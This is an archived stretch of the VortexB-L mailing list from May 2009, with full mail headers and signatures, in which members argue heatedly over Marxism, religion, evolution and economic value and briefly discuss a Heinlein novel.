Spontaneous biogenesis is so preposterous that only someone with a graduate degree could believe it. But the movie tells the story of academics having their careers destroyed because they mentioned the idea of a creator. So if you think that The Troll is discourteous now, just consider what would happen if he had the secret police at his disposal. --- Get FREE High Speed Internet from USFamily.Net! -- http://www.usfamily.net/mkt-freepromo.html --- From vortexb-l-request@eskimo.com Sat May 23 22:46:11 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O5k89p018384; Sat, 23 May 2009 22:46:09 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O5k8MF018375; Sat, 23 May 2009 22:46:08 -0700 Resent-Date: Sat, 23 May 2009 22:46:08 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 22:46:02 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524054602.GN4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1fc2841f5995.1f59951fc284@ncf.ca> <63ffa6020905231948l4651ede4w6288c3114d14cca8@mail.gmail.com> <20090524030427.GD4017@shell.resist.ca> <63ffa6020905232010x15060f04w2ddcde15c26e4a33@mail.gmail.com> <20090524032722.GF4017@shell.resist.ca> <63ffa6020905232030o6482c232qafb755f50363c162@mail.gmail.com> <20090524035707.GK4017@shell.resist.ca> <63ffa6020905232130n2cbb4906lf75986dce1784541@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905232130n2cbb4906lf75986dce1784541@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4116 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 358 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Sounds like people taking the best opportunities they find. This is so > different from a gun pointed to the head. Obtuse? This is what I mean by 'denial'. Not in Egypt. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoY3xoACgkQXo3EtEYbt3EymACfdsJhdgR5SheuJkp4Ch9LP2/H angAoIafNIke3AKo/wUAOn46SV6ALCuu =jeF5 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 22:58:47 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O5wifG030232; Sat, 23 May 2009 22:58:44 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O5whif030165; Sat, 23 May 2009 22:58:43 -0700 Resent-Date: Sat, 23 May 2009 22:58:43 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 22:58:38 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524055838.GO4017@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <4A18CDBC.6020407@usfamily.net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4117 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 359 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, thomas malloy mounted the barricade and roared out: > This evening I was reading Richard Wormbrand's Tortured For Christ. He > was describing how the Russian Soviet system poisoned humanity. The > Troll may deny it, but the Soviet System is the end product, the > inevitable result of, Marxism. Wormbrand also describes how the Russian > soldiers who occupied Romania were like dehydrated plant matter which > attracts water. That water was the salvation message of the Gospel. Have I told you lately how religion is a crock of shit, fed to the gullible and weak-minded..? > Unfortunately there are two schools of Socialist thought: revolutionary > socialism, Marxism, and gradualist socialism, Fabianism. Marxism > produced dictators, Stalin, Mao, Pol Pot, and Nicoli Chauchesku. > Chauchesku who ruled Romania with an iron boot until he was deposed, was > responsible for Pastor Wormbrand's 14 years of torment. IMHO, the > Romanian people did the right thing with the deposed dictator > Chauchesku, they executed him. Wormbrand recommends that we pray for > them, which is a very difficult hurdle to overcome. Stalinism is not socialism. But it would take a library of discussion here to get that thru to you. I absolutely doubt you'd be interested (or that I'd make the effort). So what you state above are all lies and propaganda distortions. Back to Hitler and latin american (and north american) deathsquads... > Gradualist socialism sent it's disciples into the universities. They > took over them about 100 years ago. They quickly took over certain > professions, legal and psychological, and religious in particular. Sixty > years ago they instituted separation of church and state, as they define > it. The educational system, as defined in terms of quality of education > produced, went into a decline. It resulted in the election of 2008. It's > rather like watching the Titanic sink in slow motion. The other thing > that comes to mind is Brave New World. Loony toons... > Since Socialism is G-dless, another aspect of this is evolution. One of > my brothers watched Ben Stein's Expelled, No Intelligence allowed. > Spontaneous biogenesis is so preposterous that only someone with a > graduate degree could believe it. But the movie tells the story of > academics having their careers destroyed because they mentioned the idea > of a creator. Matter assembles itself "spontaneously" because it's constantly in motion. This is the natural state of the Universe, eh? And *natural selection* -- 'Evolution' to the simple-minded -- channels winning trends in development into what YOU are, and what you see today. Nothing magical about it, smurf. Ergo -- no gods need apply. And good riddance. > So if you think that The Troll is discourteous now, just consider what > would happen if he had the secret police at his disposal. You pay for the U.S. secret-police with your suckers' taxes -- xian troll. (Have I told you lately how much I loathe religion and the fools who attempt to spread it..?) - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoY4g4ACgkQXo3EtEYbt3GQ9gCdGv7KqO2kHJ5bY3WrdlRBekEr lrYAn3m9y7DFM5j2pzeKFbOCoKeCrGQt =2ka4 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 06:42:48 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4ODgkYl020020; Sun, 24 May 2009 06:42:46 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4ODgj50020009; Sun, 24 May 2009 06:42:45 -0700 Resent-Date: Sun, 24 May 2009 06:42:45 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-POP-User: cen02900.centurytel.net Sender: jack@mail962c35.nsolutionszone.com Message-ID: <4A194C2C.77248851@centurytel.net> Date: Sun, 24 May 2009 13:31:24 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com References: <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> <20090524025800.GB4017@shell.resist.ca> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4118 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:China vs. US Status: O X-Status: X-Keywords: X-UID: 360 grok wrote: > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Utility is what Marx blessed as "use value". > > > > Now, prove me wrong. > > Why, that's EXACTLY right, Charles. Head of the class for YOU. Hi All, 5-24-09 Personally, I value things based on how useful they are to me, which has nothing to do with the labor required to produce them or what I can sell them for: I may "value" a pretty stone I find in my garden as much as a diamond produced by grueling labor deep in a South African mine; and I refuse to sell a nice rental property or shares in a good company just because their market prices drop. Above all, save me from "greater fool" markets. It gives me the shivers when I think about the guy who goes into the Dutch tulip exchange and discovers no one wants his expensive bulb. Value is in the eye of the beholder. Jack Smith From vortexb-l-request@eskimo.com Sun May 24 07:38:48 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OEcksO020892; Sun, 24 May 2009 07:38:46 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OEcgTJ020818; Sun, 24 May 2009 07:38:42 -0700 Resent-Date: Sun, 24 May 2009 07:38:42 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: nfqWOooVM1lIU2T6fzEleXAcVF_1iToVQlJn7s.AmnWsyKOJXiunAVvTHCbqCsAF2_VLqzA2nTAJuDLWoMgdiiqlwcckQnF6.l28ZfPiLfmqIaeyXRUVhX.15.RuwNBubQnuZPm5GPEIX8yIpyS.3WUPDHj7FFbSVMJapSibSBUCvqX8_.FHeODlUf4EO5orq6FHE.kGTF6Oa49NdNGAPN3VXWkjW8MKgEKT16VAoL14CN7zbna3Wf.KL4bi2nu3KLJvxbPEHWi5KjsbZqlTkpF4T9ni0DNUBKrDBSt34w22w6i.YAD2LhegAvdVueG7oClDZ1AKtlFptg-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Sun, 24 May 2009 09:38:39 -0500 Organization: Austin Instruments. Inc. Message-ID: <9umi151q5vsu1d9aq28qdh13lp13ekbq1m@4ax.com> References: <1fa1df1f67a3.1f67a31fa1df@ncf.ca> <20090524030045.GC4017@shell.resist.ca> In-Reply-To: <20090524030045.GC4017@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4119 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 361 On Sat, 23 May 2009 20:00:45 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, Harry Veeder >mounted the barricade and roared out: > >> In a monetary economy, when a nation is producing more than it can=20 >> consume on its own, an individual should have the substantive right to= =20 >> refuse to work. By that I don't mean the right to strike. I mean the=20 >> right to stay out of the labour market >> without fear of socio-economic persecution. >> Harry > >Under socialism we will ALL eat peaches & cream, komrad. --- More like wind pie. JF =20 From vortexb-l-request@eskimo.com Sun May 24 08:00:34 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OF0UTT011025; Sun, 24 May 2009 08:00:30 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OF0UwS011017; Sun, 24 May 2009 08:00:30 -0700 Resent-Date: Sun, 24 May 2009 08:00:30 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: viCHH2sVM1kjiMjmF05589dFLHfTmOtzl59IbLOjIpP6pZdRAPE6haxS8Ow8lT_H1cLDKzp_xmG4VWKltKW9gF7vKVrGqTgKjAsxQDIs4XbekjBYq9p0vLBFeg5O_5qnri1k8OmQ8ZyEtWURdws_epdKzXthIMQKy3E_SxNa2RpAaDxupKiQbvHKipUqcD99ypj23p343lTpCbs9hqRxPL41PO8ERjww99RERGr2hNBjkhCSVY1nKyWHmR6u9564d_CBuLZR5dFe7gCU2zKQP822TANaNV.3W8SapRPTLGmhEOTkFA-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Sun, 24 May 2009 10:00:27 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> In-Reply-To: <20090524055838.GO4017@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4120 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 362 On Sat, 23 May 2009 22:58:38 -0700, you wrote: >Have I told you lately how much I loathe religion and the fools who = attempt to >spread it..? --- What you're talking about, surely, is religions which you feel interfere with that which you proselytize, Marxism. And, surely, _loathe_ is a bit strong for one who pretends to objectivity. JF =20 From vortexb-l-request@eskimo.com Sun May 24 08:04:36 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OF4XxG012714; Sun, 24 May 2009 08:04:33 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OF4XCF012703; Sun, 24 May 2009 08:04:33 -0700 Resent-Date: Sun, 24 May 2009 08:04:33 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: 0j827LcVM1mk1RVoaqZgCh9k67n8aFMbvc9ZrRiXSv48euLtkHEPSDeDLTP0f5Nzf5W42z1k6.nARO3UaElxlKJWCA3JpP3ZeNunbVRF8RDe0q8wp3OPioHwFnZo9aColpewbERQjRvZ6s0j1RDN0TGXxPoPbHjk1xqrNWPlP1tcdeXNUd4Igm99MYAWzmJfLndEc2hXcsGib29kQ4Ss6GcCOq6gWrzUQuHACf_hTJcbNlyD8FBJy5JQKqSU0GNqHDimm7_JxcJkIMcC6Q04xlpWDxAN6hXWN.2hw162yPixkP1RUg-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: vortexb-l@eskimo.com Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Sun, 24 May 2009 10:04:29 -0500 Organization: Austin Instruments. Inc. Message-ID: <2eoi1551f1pp24u6gi257he4sh4on0db03@4ax.com> References: <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> In-Reply-To: <4A18CDBC.6020407@usfamily.net> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4121 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 363 On Sat, 23 May 2009 23:31:57 -0500 (CDT), you wrote: >So if you think that The Troll is discourteous now, just consider what=20 >would happen if he had the secret police at his disposal. --- Indeed, since even sans power he's corrupt. JF =20 From vortexb-l-request@eskimo.com Sun May 24 08:21:10 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OFL7KC020005; Sun, 24 May 2009 08:21:07 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OFL7vt019998; Sun, 24 May 2009 08:21:07 -0700 Resent-Date: Sun, 24 May 2009 08:21:07 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=x+hxuGRMr/QqV7nbd5FDNXtKIA9FggbNXn1ecNA3pnE=; b=SkLmhKG9EoJPHHYXT9ZfFhnTHOZ7ypvYm9zUwQ3LAjvOCNS+s+CZlBKH2KvNT41w7j spcMDR+LdKfLblglOC/WsR/7GWuDx8V1GsALyzsXdYNpeO/Sxb//Za3PPyIiOcmOttVw hWNou1I5CTWCNbmezttamjBE5eA/dzUFGyNm8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=t2ZC2bISD6EDblWQr15lZWkfljOp6uQCoidshpQLJAdXhRuYwNehhEA1siUzoEkuxo tqK2UhQkD+QCUfw9iwV2zjeKGoL0Y+QsBVlIUEvov0nHtr+UsX8QaSnaVNKDUuGuD8/o W35DMAVqc7RpaK6S7Ay/F8c5YaI/3Q8i0h1u0= MIME-Version: 1.0 Date: Sun, 24 May 2009 10:21:06 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4122 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Heinlein's New Book Status: RO X-Status: X-Keywords: X-UID: 364 Grok, Are you a Heinlein fan? There's a posthumously published novel "Variable Star" from an outline of his. Terry From vortexb-l-request@eskimo.com Sun May 24 08:26:30 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OFQPDW024841; Sun, 24 May 2009 08:26:29 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OFQKxS024815; Sun, 24 May 2009 08:26:20 -0700 Resent-Date: Sun, 24 May 2009 08:26:20 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=C9mrL6aCbwV0WoJqsfQQ6Z3m2NRWObKhdtHpfive7MU=; b=fWXWsHmDz3LXD0YZu0ICvc+8doWdPS4oKTyoZFiRhJFgYJwGQG8GUwmd33F064FUnb 75G+zA3S0l53RrlPEnyXvjAwDhOQDM2+FJ7d4rOBLsN1+rGYzfkrkRazUDY7RQGHVoqh WgWU0anZhqi0rwX59PsEmstkUWyOflnvuJGvw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=DUgN3bu80/nhq4aL5jDOv/bxKmRB9DljW6KmbkmeazKyXh3QkKYAxUDFiv2J9oCWDg u9vKip0Gvfryi0Qbe8RnpuRyRBUKrk3F3Rb2b4t/bGobKzpLOriqb9nRAvnTvVEpaqFk +sjz8ddrmMHeBBXT/aJ2pUjPtoh1fuN3jfXL8= MIME-Version: 1.0 In-Reply-To: References: Date: Sun, 24 May 2009 10:26:19 -0500 Message-ID: Subject: Re: [VoB]:Heinlein's New Book From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: <0xWv_D.A.pDG.bcWGKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4123 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 365 I learning a lot of useful stuff by googling you: http://www.brasschecktv.com/page/626.html I shall always carry strait pins from now on. Terry On Sun, May 24, 2009 at 10:21 AM, Terry Blanton wrote: > Grok, > > Are you a Heinlein fan? > > There's a posthumously published novel "Variable Star" from an outline of his. > > Terry > > From vortexb-l-request@eskimo.com Sun May 24 08:31:48 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OFVk81029678; Sun, 24 May 2009 08:31:46 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OFVjdh029668; Sun, 24 May 2009 08:31:45 -0700 Resent-Date: Sun, 24 May 2009 08:31:45 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=wdw2NH9jiN+bDXF/4YR5G+FCbtwDwlYqGrk6Uba14wo=; b=qWTTaPndCyKRpv1GlRXdjgJT1qDnOLwOezPawxD3KvWfQpgzJSwadeOHUHeR7+YxBD LdOzJF0i5Ibd4oaXmWBesguCwwW3eiitt0+AbqelVSqlWMVl+QY1SZ/dHDH9biqHeGRR ar0YyjozVQLATjokVVbBD/cD5ytSS9phqMwuo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=h84hX7zMCDQ56YyRbMLCqkaDasjJy6fqcpkZgKWnRXTvxhnmQpTFJA/awWYz+F3hYy 7kHRoL3hLEy2oC+Jf/BQAbX4Vu7/0+Tv+1DCKSVnos9yDCq23Ir2CCLYg3jq2/y844Dx 1KRU+il5M+CzitdvD2y3sPnTK7Kqz6UcupG+o= MIME-Version: 1.0 In-Reply-To: References: Date: Sun, 24 May 2009 10:31:40 -0500 Message-ID: Subject: Re: [VoB]:Heinlein's New Book From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4124 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 366 Is this your newsletter? http://www.grokyourworld.com/louisxiv/2005/05/sovietism_is_no.html Terry On Sun, May 24, 2009 at 10:26 AM, Terry Blanton wrote: > I learning a lot of useful stuff by googling you: > > http://www.brasschecktv.com/page/626.html > > I shall always carry strait pins from now on. > > Terry > > On Sun, May 24, 2009 at 10:21 AM, Terry Blanton wrote: >> Grok, >> >> Are you a Heinlein fan? >> >> There's a posthumously published novel "Variable Star" from an outline of his. >> >> Terry >> >> > From vortexb-l-request@eskimo.com Sun May 24 09:34:37 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4OGYZbu022521; Sun, 24 May 2009 09:34:35 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4OGYQJU022484; Sun, 24 May 2009 09:34:27 -0700 Resent-Date: Sun, 24 May 2009 09:34:27 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=XvnmUlRY2dtZe3UdVtmuU1aOMm6H2swcE7nYpTpJAlw=; b=HudK9UJui/spEk6iDhUtlt4cBeQ9KsAR8EyGGRqSimA8FnowwVuXAfBMhFzKFhUGCJ FjDyX+5BK3OnOdxgqSqmDXCotyZXckSy6mhe2AbGqcc9MFPiOY3PUEn3RHdoZiwdeJ7Z Z/M2jmX66GYgkU7P4FiAUVA5AJ1vnbaXgve/M= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=SipKJwpYMzW+6A+nOWjw53tPt8lRSsEqtrvPhtFrA+7WJIxz4pKszW7fvPnSZ9z6s8 AOENA7FSCd7PYLaVeD55+3Tk1GIBGQOZTwotY8Y9UKO/eDOQOWM3CmKlpP2Q1phEnPRi QvWcuR1bKIBIvavqdcaZddGMRyfDbzEwfKzqE= MIME-Version: 1.0 In-Reply-To: <2eoi1551f1pp24u6gi257he4sh4on0db03@4ax.com> References: <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <2eoi1551f1pp24u6gi257he4sh4on0db03@4ax.com> From: Charles HOPE Date: Sun, 24 May 2009 12:34:04 -0400 Message-ID: <63ffa6020905240934lb2cc52va8ba1ccc9d5fc8e1@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b84d03218e046aab11f3 Resent-Message-ID: <44uAcC.A.JfF.ScXGKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4125 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 367 --001636c5b84d03218e046aab11f3 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You're right, I'm not really being sold on the pleasures of Communism, if this is any taste of the new leadership. On Sun, May 24, 2009 at 11:04 AM, John Fields wrote: > On Sat, 23 May 2009 23:31:57 -0500 (CDT), you wrote: > > > >So if you think that The Troll is discourteous now, just consider what > >would happen if he had the secret police at his disposal. > > --- > Indeed, since even sans power he's corrupt. > > JF > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b84d03218e046aab11f3 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable You're right, I'm not really being sold on the pleasures of Communi= sm, if this is any taste of the new leadership.



On Sun, May 24, 2009 at 11:04 AM, John Fields <jfields@austinin= struments.com> wrote:
On Sat, 23 May 2009 23:31:57 -0500 (CDT), you wrote:


>So if you think that The Troll is discourteous now, just consider what<= br> >would happen if he had the secret police at his disposal.

---
Indeed, since even sans power he's corrupt.

JF




--
Never did I see = a second sun
Never did my skin touch a land of glass
Never did my rif= le point but true
But in a land empty of enemies
Waiting for the tick= -tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
